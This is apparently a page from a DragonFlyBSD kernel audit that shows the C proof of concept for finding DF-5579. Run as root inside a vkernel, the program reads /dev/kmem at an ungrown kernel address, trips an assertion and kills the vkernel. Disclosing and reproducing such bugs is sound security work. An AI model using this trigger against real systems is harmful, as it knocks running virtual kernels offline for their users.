⬢ DragonFlyBSD Kernel Audit
DF-5579 / vkmem.c
← back to finding ↓ download raw
/*
 * DF-5579 PoC — vkernel64 kvm_access_check() /dev/kmem validator abort.
 *
 * Run INSIDE the vkernel as root.  The vkernel's kernel VA space is
 * [KvaStart, KvaEnd) = [512GB, 1024GB) fixed by MAP_FIXED
 * (sys/platform/vkernel64/platform/init.c:609-621, KERNEL_KVA_START/
 * KERNEL_KVA_SIZE in sys/platform/vkernel64/include/vmparam.h:80-81).
 * Only a few hundred MB of that 512GB is ever *grown*
 * (pmap_growkernel, pmap.c:1563+).  /dev/kmem read path:
 *   memrw -> kvm_access_check(saddr,eaddr,prot)
 *        -> pmap_kextract(addr)   (vm_machdep.c:322-325 loop)
 *        -> vtopde(va) -> pmap_pde(kernel_pmap, va) -> NULL for ungrown
 *        -> assert(x != NULL)     (pmap.c:357)  -> SIGABRT -> vkernel dies.
 *
 * control: pread at KvaStart+1MB  (grown; clean data or EFAULT, no death)
 * trigger: pread at KvaStart+400GB (ungrown; expect vkernel to die)
 */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define KVASTART  0x8000000000ULL   /* 512GB */
#define KVAEND    0x10000000000ULL  /* 1024GB */

int main(int argc, char **argv)
{
	unsigned long long off;
	unsigned char buf[16];
	ssize_t n;
	int fd, i;

	if (argc < 2) {
		fprintf(stderr, "usage: %s control|trigger\n", argv[0]);
		return 2;
	}
	if (!strcmp(argv[1], "control"))
		off = KVASTART + 0x100000ULL;		/* +1MB, grown */
	else if (!strcmp(argv[1], "trigger"))
		off = KVASTART + 400ULL*1024*1024*1024; /* +400GB, ungrown */
	else if (!strncmp(argv[1], "0x", 2))
		off = strtoull(argv[1], NULL, 0);
	else {
		fprintf(stderr, "bad mode\n");
		return 2;
	}

	printf("DF5579 mode=%s offset=0x%llx (KVA=[0x%llx,0x%llx))\n",
	    argv[1], off, KVASTART, KVAEND);
	fflush(stdout);

	fd = open("/dev/kmem", O_RDONLY);
	if (fd < 0) {
		printf("open /dev/kmem failed: %s\n", strerror(errno));
		return 1;
	}
	printf("open ok, preading 8 bytes...\n");
	fflush(stdout);
	n = pread(fd, buf, 8, (off_t)off);
	printf("pread returned %zd errno=%d (%s)\n",
	    n, errno, n < 0 ? strerror(errno) : "ok");
	if (n > 0) {
		printf("bytes:");
		for (i = 0; i < n; i++) printf(" %02x", buf[i]);
		printf("\n");
	}
	printf("DF5579_%s_SURVIVED\n", argv[1]);
	fflush(stdout);
	return 0;
}